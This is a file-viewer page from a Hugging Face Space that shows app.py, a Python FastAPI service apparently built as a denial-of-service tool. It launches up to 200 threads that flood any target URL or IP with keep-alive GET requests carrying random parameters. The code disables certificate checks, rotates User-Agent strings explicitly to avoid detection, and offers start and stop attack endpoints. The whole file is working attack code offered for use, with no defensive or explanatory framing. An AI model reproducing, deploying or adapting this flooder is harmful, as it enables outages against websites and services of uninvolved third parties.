Download app.py from eFeta/fasd: direct link, hf CLI and curl.
- Browser
- Download file 3.45 kB
-
https://huggingface.co/spaces/eFeta/fasd/resolve/main/app.py
- Command line
-
hf download hf://spaces/eFeta/fasd/app.py
-
curl -L -o app.py https://huggingface.co/spaces/eFeta/fasd/resolve/main/app.py
3.45 kB
| import threading | |
| import socket | |
| import random | |
| import time | |
| import ssl | |
| import warnings | |
| from fastapi import FastAPI, Query | |
| from urllib.parse import urlparse | |
| # Figyelmeztetések kikapcsolása (SSL tanúsítványok miatt) | |
| warnings.filterwarnings('ignore') | |
| app = FastAPI(title="OSEMBER-HUB API") | |
| # Tároljuk az aktív támadásokat, hogy leállíthatók legyenek | |
| active_attacks = {} | |
| def http_strike_engine(target, duration, attack_id): | |
| parsed = urlparse(target if target.startswith("http") else f"http://{target}") | |
| host = parsed.netloc | |
| path = parsed.path or "/" | |
| port = 443 if parsed.scheme == "https" else 80 | |
| until = time.time() + duration | |
| # User-Agent lista a detektálás elkerülésére | |
| user_agents = [ | |
| "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", | |
| "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36", | |
| "Mozilla/5.0 (iPhone; CPU iPhone OS 17_4 like Mac OS X) AppleWebKit/605.1.15" | |
| ] | |
| while time.time() < until and attack_id in active_attacks: | |
| try: | |
| # Socket létrehozása | |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| if port == 443: | |
| context = ssl.create_default_context() | |
| context.check_hostname = False | |
| context.verify_mode = ssl.CERT_NONE | |
| s = context.wrap_socket(s, server_hostname=host) | |
| s.settimeout(4) | |
| s.connect((host, port)) | |
| # Flood ciklus egy kapcsolaton belül | |
| for _ in range(50): | |
| if attack_id not in active_attacks: break | |
| random_param = random.randint(1000, 99999) | |
| req = f"GET {path}?{random_param} HTTP/1.1\r\n" \ | |
| f"Host: {host}\r\n" \ | |
| f"User-Agent: {random.choice(user_agents)}\r\n" \ | |
| f"Accept: */*\r\n" \ | |
| f"Connection: keep-alive\r\n\r\n" | |
| s.send(req.encode()) | |
| time.sleep(0.01) # Kis pihentetés a stabilitásért | |
| s.close() | |
| except: | |
| continue | |
| def home(): | |
| return { | |
| "status": "READY", | |
| "active_attacks": list(active_attacks.keys()), | |
| "usage": "/attack?target=URL&duration=60&threads=50" | |
| } | |
| def start_attack( | |
| target: str = Query(..., description="Célpont URL vagy IP"), | |
| duration: int = Query(60, description="Időtartam másodpercben"), | |
| threads: int = Query(50, description="Szálak száma (max 200)") | |
| ): | |
| attack_id = str(random.randint(1000, 9999)) | |
| active_attacks[attack_id] = True | |
| # Limitáljuk a szálakat a stabilitás érdekében | |
| thread_limit = min(threads, 200) | |
| for _ in range(thread_limit): | |
| t = threading.Thread(target=http_strike_engine, args=(target, duration, attack_id), daemon=True) | |
| t.start() | |
| return { | |
| "status": "STARTED", | |
| "attack_id": attack_id, | |
| "target": target, | |
| "duration": f"{duration}s", | |
| "threads": thread_limit | |
| } | |
| def stop_attack(attack_id: str = None): | |
| if attack_id: | |
| if attack_id in active_attacks: | |
| del active_attacks[attack_id] | |
| return {"message": f"Attack {attack_id} stopped."} | |
| return {"error": "Attack ID not found."} | |
| else: | |
| active_attacks.clear() | |
| return {"message": "All attacks stopped."} |